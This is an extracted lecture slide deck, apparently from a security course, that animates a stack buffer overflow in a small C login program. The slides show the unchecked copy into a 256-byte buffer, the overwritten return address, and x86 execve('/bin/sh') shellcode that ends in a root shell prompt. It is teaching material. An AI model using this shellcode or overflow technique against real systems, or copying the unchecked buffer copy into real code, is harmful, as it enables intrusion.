#include <ctype.h> // tolower #include <string.h> // - - PowerPoint PPT Presentation

include ctype h tolower include string h strcmp sfp
SMART_READER_LITE
LIVE PREVIEW

#include <ctype.h> // tolower #include <string.h> // - - PowerPoint PPT Presentation

#include <ctype.h> // tolower #include <string.h> // strcmp sfp main() #include <stdio.h> // fgets, fputs void reveal_secret() login { fputs("SUPER SECRET = 42\n", stdout); } login int verify(const char*


slide-1
SLIDE 1

login rip sfp name[i] rip sfp sfp

main()

login %esp %ebp %eip

verify()

#include <ctype.h> // tolower #include <string.h> // strcmp #include <stdio.h> // fgets, fputs void reveal_secret() { fputs("SUPER SECRET = 42\n", stdout); } int verify(const char* name) { char user[256]; int i; for (i = 0; name[i] != '\0'; ++i) user[i] = tolower(name[i]); user[i] = '\0'; return strcmp(user, "xyzzy") == 0; } int main() { char login[512]; fgets(login, 512, stdin); if (! verify(login)) return 1; reveal_secret(); return 0; } i user

256 bytes

slide-2
SLIDE 2

login rip sfp name[i] rip sfp sfp

main()

login %esp %ebp %eip

verify()

#include <ctype.h> // tolower #include <string.h> // strcmp #include <stdio.h> // fgets, fputs void reveal_secret() { fputs("SUPER SECRET = 42\n", stdout); } int verify(const char* name) { char user[256]; int i; for (i = 0; name[i] != '\0'; ++i) user[i] = tolower(name[i]); user[i] = '\0'; return strcmp(user, "xyzzy") == 0; } int main() { char login[512]; fgets(login, 512, stdin); if (! verify(login)) return 1; reveal_secret(); return 0; } i = 0 user

256 bytes

a0

slide-3
SLIDE 3

login rip sfp name[i] rip sfp sfp

main()

login %esp %ebp %eip

verify()

#include <ctype.h> // tolower #include <string.h> // strcmp #include <stdio.h> // fgets, fputs void reveal_secret() { fputs("SUPER SECRET = 42\n", stdout); } int verify(const char* name) { char user[256]; int i; for (i = 0; name[i] != '\0'; ++i) user[i] = tolower(name[i]); user[i] = '\0'; return strcmp(user, "xyzzy") == 0; } int main() { char login[512]; fgets(login, 512, stdin); if (! verify(login)) return 1; reveal_secret(); return 0; } i = 1 user

256 bytes

c2 a0

slide-4
SLIDE 4

login rip sfp name[i] rip sfp sfp

main()

login %esp %ebp %eip

verify()

#include <ctype.h> // tolower #include <string.h> // strcmp #include <stdio.h> // fgets, fputs void reveal_secret() { fputs("SUPER SECRET = 42\n", stdout); } int verify(const char* name) { char user[256]; int i; for (i = 0; name[i] != '\0'; ++i) user[i] = tolower(name[i]); user[i] = '\0'; return strcmp(user, "xyzzy") == 0; } int main() { char login[512]; fgets(login, 512, stdin); if (! verify(login)) return 1; reveal_secret(); return 0; } i = 2 user

256 bytes

c2 a0 d7

slide-5
SLIDE 5

login rip sfp name[i] rip sfp sfp

main()

login %esp %ebp %eip

verify()

#include <ctype.h> // tolower #include <string.h> // strcmp #include <stdio.h> // fgets, fputs void reveal_secret() { fputs("SUPER SECRET = 42\n", stdout); } int verify(const char* name) { char user[256]; int i; for (i = 0; name[i] != '\0'; ++i) user[i] = tolower(name[i]); user[i] = '\0'; return strcmp(user, "xyzzy") == 0; } int main() { char login[512]; fgets(login, 512, stdin); if (! verify(login)) return 1; reveal_secret(); return 0; } i = 3 user

256 bytes

c2 a0 d7 82

slide-6
SLIDE 6

login #include <ctype.h> // tolower #include <string.h> // strcmp #include <stdio.h> // fgets, fputs void reveal_secret() { fputs("SUPER SECRET = 42\n", stdout); } int verify(const char* name) { char user[256]; int i; for (i = 0; name[i] != '\0'; ++i) user[i] = tolower(name[i]); user[i] = '\0'; return strcmp(user, "xyzzy") == 0; } int main() { char login[512]; fgets(login, 512, stdin); if (! verify(login)) return 1; reveal_secret(); return 0; } ff 7e 64 08 name[i] rip sfp sfp

main()

%esp %ebp %eip

verify()

i user

256 bytes

70 e3 d5 cc c2 a0 d7 82 b3 6b 06 91

a0c2d782 ffa86db2 307abba9 ad7c

ab 62 7b 7a f7 e1 93

Exploit

slide-7
SLIDE 7

name[i] rip sfp %esp %ebp %eip #include <ctype.h> // tolower #include <string.h> // strcmp #include <stdio.h> // fgets, fputs void reveal_secret() { fputs("SUPER SECRET = 42\n", stdout); } int verify(const char* name) { char user[256]; int i; for (i = 0; name[i] != '\0'; ++i) user[i] = tolower(name[i]); user[i] = '\0'; return strcmp(user, "xyzzy") == 0; } int main() { char login[512]; fgets(login, 512, stdin); if (! verify(login)) return 1; reveal_secret(); return 0; } i login ff 7e 64 08 sfp

main() verify()

user

256 bytes

70 e3 d5 cc c2 a0 d7 82 b3 6b 06 91 ab 62 7b 7a f7 e1 93 00

slide-8
SLIDE 8

&"xyzzy" user rip %esp %ebp %eip sfp

strcmp()

s t r c m p

#include <ctype.h> // tolower #include <string.h> // strcmp #include <stdio.h> // fgets, fputs void reveal_secret() { fputs("SUPER SECRET = 42\n", stdout); } int verify(const char* name) { char user[256]; int i; for (i = 0; name[i] != '\0'; ++i) user[i] = tolower(name[i]); user[i] = '\0'; return strcmp(user, "xyzzy") == 0; } int main() { char login[512]; fgets(login, 512, stdin); if (! verify(login)) return 1; reveal_secret(); return 0; } i login ff 7e 64 08 sfp

main() verify()

user

256 bytes

70 e3 d5 cc c2 a0 d7 82 b3 6b 06 91 ab 62 7b 7a f7 e1 93 00

slide-9
SLIDE 9

&"xyzzy" user rip %esp %ebp %eip sfp #include <ctype.h> // tolower #include <string.h> // strcmp #include <stdio.h> // fgets, fputs void reveal_secret() { fputs("SUPER SECRET = 42\n", stdout); } int verify(const char* name) { char user[256]; int i; for (i = 0; name[i] != '\0'; ++i) user[i] = tolower(name[i]); user[i] = '\0'; return strcmp(user, "xyzzy") == 0; } int main() { char login[512]; fgets(login, 512, stdin); if (! verify(login)) return 1; reveal_secret(); return 0; } i login ff 7e 64 08 sfp

main() verify()

user

256 bytes

70 e3 d5 cc c2 a0 d7 82 b3 6b 06 91 ab 62 7b 7a f7 e1 93 00

slide-10
SLIDE 10

&"xyzzy" user rip %esp %ebp %eip sfp #include <ctype.h> // tolower #include <string.h> // strcmp #include <stdio.h> // fgets, fputs void reveal_secret() { fputs("SUPER SECRET = 42\n", stdout); } int verify(const char* name) { char user[256]; int i; for (i = 0; name[i] != '\0'; ++i) user[i] = tolower(name[i]); user[i] = '\0'; return strcmp(user, "xyzzy") == 0; } int main() { char login[512]; fgets(login, 512, stdin); if (! verify(login)) return 1; reveal_secret(); return 0; } i user

256 bytes

c2 a0 d7 82 b3 6b 06 91 login ff 7e 64 08 sfp

main() verify()

70 e3 d5 cc ab 62 7b 7a f7 e1 93 00

slide-11
SLIDE 11

70 e3 d5 cc &"xyzzy" user rip %esp %ebp %eip sfp #include <ctype.h> // tolower #include <string.h> // strcmp #include <stdio.h> // fgets, fputs void reveal_secret() { fputs("SUPER SECRET = 42\n", stdout); } int verify(const char* name) { char user[256]; int i; for (i = 0; name[i] != '\0'; ++i) user[i] = tolower(name[i]); user[i] = '\0'; return strcmp(user, "xyzzy") == 0; } int main() { char login[512]; fgets(login, 512, stdin); if (! verify(login)) return 1; reveal_secret(); return 0; } i user

256 bytes

c2 a0 d7 82 b3 6b 06 91 login ff 7e 64 08 sfp

main() verify()

ab 62 7b 7a f7 e1 93 00

slide-12
SLIDE 12

ff 7e 64 08 &"xyzzy" user rip %esp %ebp %eip sfp #include <ctype.h> // tolower #include <string.h> // strcmp #include <stdio.h> // fgets, fputs void reveal_secret() { fputs("SUPER SECRET = 42\n", stdout); } int verify(const char* name) { char user[256]; int i; for (i = 0; name[i] != '\0'; ++i) user[i] = tolower(name[i]); user[i] = '\0'; return strcmp(user, "xyzzy") == 0; } int main() { char login[512]; fgets(login, 512, stdin); if (! verify(login)) return 1; reveal_secret(); return 0; } i 70 e3 d5 cc user

256 bytes

c2 a0 d7 82 b3 6b 06 91 login sfp

main() verify()

ab 62 7b 7a f7 e1 93 00

slide-13
SLIDE 13

&"xyzzy" user rip %esp %ebp %eip sfp #include <ctype.h> // tolower #include <string.h> // strcmp #include <stdio.h> // fgets, fputs void reveal_secret() { fputs("SUPER SECRET = 42\n", stdout); } int verify(const char* name) { char user[256]; int i; for (i = 0; name[i] != '\0'; ++i) user[i] = tolower(name[i]); user[i] = '\0'; return strcmp(user, "xyzzy") == 0; } int main() { char login[512]; fgets(login, 512, stdin); if (! verify(login)) return 1; reveal_secret(); return 0; } i login ff 7e 64 08 sfp

main() verify()

user

256 bytes

70 e3 d5 cc c2 a0 d7 82 b3 6b 06 91 ab 62 7b 7a f7 e1 93 00

a0c2d782 ffa86db2 307abba9 ad7c Exploit

slide-14
SLIDE 14

gcc -S shell.c execve("/bin/sh", ...)

char shellcode[] = "\xeb\x1f" /* jmp 0x1f (2) */ "\x5e" /* popl %esi (1) */ "\x89\x76\x08" /* movl %esi,0x8(%esi) (3) */ "\x31\xc0" /* xorl %eax,%eax (2) */ "\x88\x46\x07" /* movb %eax,0x7(%esi) (3) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) (3) */ "\xb0\x0b" /* movb $0xb,%al (2) */ "\x89\xf3" /* movl %esi,%ebx (2) */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx (3) */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx (3) */ "\xcd\x80" /* int 0x80 (2) */ "\x31\xdb" /* xorl ebx,ebx (2) */ "\x89\xd8" /* movl %ebx,%eax (2) */ "\x40" /* inc %eax (1) */ "\xcd\x80" /* int 0x80 (2) */ "\xe8\xdc\xff\xff\xff" /* call -0x24 (5) */ "/bin/sh"; /* .string \"/bin/sh\" (8) */

shell.c

slide-15
SLIDE 15

&"xyzzy" user rip %esp %ebp %eip sfp #include <ctype.h> // tolower #include <string.h> // strcmp #include <stdio.h> // fgets, fputs void reveal_secret() { fputs("SUPER SECRET = 42\n", stdout); } int verify(const char* name) { char user[256]; int i; for (i = 0; name[i] != '\0'; ++i) user[i] = tolower(name[i]); user[i] = '\0'; return strcmp(user, "xyzzy") == 0; } int main() { char login[512]; fgets(login, 512, stdin); if (! verify(login)) return 1; reveal_secret(); return 0; } i

main() verify() 256 bytes

login ff 7e 64 08 sfp

main() verify()

user 70 e3 d5 cc c2 a0 d7 82 b3 6b 06 91 ab 62 7b 7a f7 e1 93 00

slide-16
SLIDE 16

&"xyzzy" user rip %esp %ebp %eip sfp #include <ctype.h> // tolower #include <string.h> // strcmp #include <stdio.h> // fgets, fputs void reveal_secret() { fputs("SUPER SECRET = 42\n", stdout); } int verify(const char* name) { char user[256]; int i; for (i = 0; name[i] != '\0'; ++i) user[i] = tolower(name[i]); user[i] = '\0'; return strcmp(user, "xyzzy") == 0; } int main() { char login[512]; fgets(login, 512, stdin); if (! verify(login)) return 1; reveal_secret(); return 0; } i login ff 7e 64 08 sfp

main() verify()

user

256 bytes

70 e3 d5 cc c2 a0 d7 82 b3 4b 06 91 ab 42 7b 5a f7 e1 93 00

sh # _

slide-17
SLIDE 17

&"xyzzy" user rip %esp %ebp %eip sfp #include <ctype.h> // tolower #include <string.h> // strcmp #include <stdio.h> // fgets, fputs void reveal_secret() { fputs("SUPER SECRET = 42\n", stdout); } int verify(const char* name) { char user[256]; int i; for (i = 0; name[i] != '\0'; ++i) user[i] = tolower(name[i]); user[i] = '\0'; return strcmp(user, "xyzzy") == 0; } int main() { char login[512]; fgets(login, 512, stdin); if (! verify(login)) return 1; reveal_secret(); return 0; } i login ff 7e 64 08 sfp

main() verify()

user

256 bytes

70 e3 d5 cc c2 a0 d7 82 b3 4b 06 91 ab 42 7b 5a f7 e1 93 00

sh # _

p ! a "